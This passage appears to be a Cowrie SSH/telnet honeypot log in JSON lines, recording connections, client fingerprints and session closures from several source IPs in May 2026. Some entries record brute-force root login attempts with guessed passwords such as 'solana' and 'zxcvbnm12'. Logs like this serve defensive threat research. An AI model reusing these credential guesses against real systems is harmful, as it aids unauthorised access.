{"eventid":"cowrie.session.closed","duration":120.00487112998962,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:00.427399Z","src_ip":"152.42.224.71","session":"48049f473a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.748918533325195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:05.546849Z","src_ip":"152.42.224.71","session":"ea3467e628c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36880,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1f658b3dc2","protocol":"telnet","message":"New connection: 152.42.224.71:36880 (10.17.0.5:23) [session: fd1f658b3dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:20.637216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35020,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f5c22e997c","protocol":"telnet","message":"New connection: 152.42.224.71:35020 (10.17.0.5:23) [session: 14f5c22e997c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:37.395592Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.200.105","src_port":45970,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ff0d9f10b5","protocol":"ssh","message":"New connection: 101.96.200.105:45970 (10.17.0.5:22) [session: 79ff0d9f10b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:41.390779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60644,"dst_ip":"159.203.135.109","dst_port":22,"session":"27195aa179d9","protocol":"ssh","message":"New connection: 103.77.175.15:60644 (159.203.135.109:22) [session: 27195aa179d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:42.959975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:42.964907Z","src_ip":"103.77.175.15","session":"27195aa179d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:43.226756Z","src_ip":"103.77.175.15","session":"27195aa179d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"e123456","message":"login attempt [root/e123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:44.016215Z","src_ip":"103.77.175.15","session":"27195aa179d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:45.280274Z","src_ip":"103.77.175.15","session":"27195aa179d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34676,"dst_ip":"10.17.0.5","dst_port":22,"session":"b471cb14edb2","protocol":"ssh","message":"New connection: 193.32.162.145:34676 (10.17.0.5:22) [session: b471cb14edb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:47.052406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:47.057611Z","src_ip":"193.32.162.145","session":"b471cb14edb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:47.161472Z","src_ip":"193.32.162.145","session":"b471cb14edb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:47.499673Z","src_ip":"193.32.162.145","session":"b471cb14edb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:48.608986Z","src_ip":"193.32.162.145","session":"b471cb14edb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47348,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b758a4b246","protocol":"telnet","message":"New connection: 152.42.224.71:47348 (10.17.0.5:23) [session: 63b758a4b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:21:50.085826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:03.803905Z","src_ip":"101.96.200.105","session":"79ff0d9f10b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35274,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f64bf79094","protocol":"telnet","message":"New connection: 152.42.224.71:35274 (10.17.0.5:23) [session: 52f64bf79094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:04.687754Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48336,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a4d29ab2e6","protocol":"telnet","message":"New connection: 152.42.224.71:48336 (10.17.0.5:23) [session: 94a4d29ab2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:11.491453Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf5459d1120","protocol":"telnet","message":"New connection: 152.42.224.71:48342 (10.17.0.5:23) [session: 6cf5459d1120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:12.398201Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37022,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e90b281b0df","protocol":"ssh","message":"New connection: 194.59.206.2:37022 (159.203.135.109:22) [session: 7e90b281b0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:17.455437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:17.462092Z","src_ip":"194.59.206.2","session":"7e90b281b0df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:17.605727Z","src_ip":"194.59.206.2","session":"7e90b281b0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:17.702543Z","src_ip":"194.59.206.2","session":"7e90b281b0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2553768157959,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:18.650822Z","src_ip":"152.42.224.71","session":"14f5c22e997c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49092,"dst_ip":"10.17.0.5","dst_port":23,"session":"1048103118ea","protocol":"telnet","message":"New connection: 152.42.224.71:49092 (10.17.0.5:23) [session: 1048103118ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:23.810301Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45220,"dst_ip":"10.17.0.5","dst_port":23,"session":"802df40b9120","protocol":"telnet","message":"New connection: 152.42.224.71:45220 (10.17.0.5:23) [session: 802df40b9120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:26.978780Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45232,"dst_ip":"10.17.0.5","dst_port":23,"session":"607689af38c2","protocol":"telnet","message":"New connection: 152.42.224.71:45232 (10.17.0.5:23) [session: 607689af38c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:35.164118Z"}
{"eventid":"cowrie.session.closed","duration":32.74882245063782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:37.436467Z","src_ip":"152.42.224.71","session":"52f64bf79094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36028,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7da9bb64d92","protocol":"telnet","message":"New connection: 152.42.224.71:36028 (10.17.0.5:23) [session: a7da9bb64d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:38.704901Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"466faec862f6","protocol":"telnet","message":"New connection: 152.42.224.71:36030 (10.17.0.5:23) [session: 466faec862f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:45.759767Z"}
{"eventid":"cowrie.session.closed","duration":18.476426601409912,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:53.640431Z","src_ip":"152.42.224.71","session":"607689af38c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.06540560722351,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:56.702543Z","src_ip":"152.42.224.71","session":"fd1f658b3dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.32818269729614,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:22:59.819535Z","src_ip":"152.42.224.71","session":"94a4d29ab2e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37704,"dst_ip":"10.17.0.5","dst_port":23,"session":"083f8604c9d5","protocol":"telnet","message":"New connection: 152.42.224.71:37704 (10.17.0.5:23) [session: 083f8604c9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:05.073930Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e61b7ad363f","protocol":"telnet","message":"New connection: 152.42.224.71:52828 (10.17.0.5:23) [session: 5e61b7ad363f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:08.370930Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46724,"dst_ip":"159.203.135.109","dst_port":22,"session":"caf3edffa70d","protocol":"ssh","message":"New connection: 62.133.62.83:46724 (159.203.135.109:22) [session: caf3edffa70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:10.712759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:10.717715Z","src_ip":"62.133.62.83","session":"caf3edffa70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:10.798564Z","src_ip":"62.133.62.83","session":"caf3edffa70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12","message":"login attempt [root/zxcvbnm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:11.034556Z","src_ip":"62.133.62.83","session":"caf3edffa70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6487617e1ce2","protocol":"telnet","message":"New connection: 152.42.224.71:52838 (10.17.0.5:23) [session: 6487617e1ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:11.394288Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:12.115858Z","src_ip":"62.133.62.83","session":"caf3edffa70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52852,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e18e9d8d2c7","protocol":"telnet","message":"New connection: 152.42.224.71:52852 (10.17.0.5:23) [session: 2e18e9d8d2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:13.925717Z"}
{"eventid":"cowrie.session.closed","duration":84.04018783569336,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:14.125890Z","src_ip":"152.42.224.71","session":"63b758a4b246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39230,"dst_ip":"10.17.0.5","dst_port":22,"session":"0041c5c64998","protocol":"ssh","message":"New connection: 185.236.22.41:39230 (10.17.0.5:22) [session: 0041c5c64998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:15.417644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:15.488139Z","src_ip":"185.236.22.41","session":"0041c5c64998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:15.531972Z","src_ip":"185.236.22.41","session":"0041c5c64998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777555a","message":"login attempt [root/777555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:16.002291Z","src_ip":"185.236.22.41","session":"0041c5c64998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:17.118680Z","src_ip":"185.236.22.41","session":"0041c5c64998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.3411226272583,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:18.319790Z","src_ip":"152.42.224.71","session":"802df40b9120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42850,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec1686e5d20","protocol":"ssh","message":"New connection: 103.27.238.120:42850 (10.17.0.5:22) [session: 4ec1686e5d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:23.751417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:23.756110Z","src_ip":"103.27.238.120","session":"4ec1686e5d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 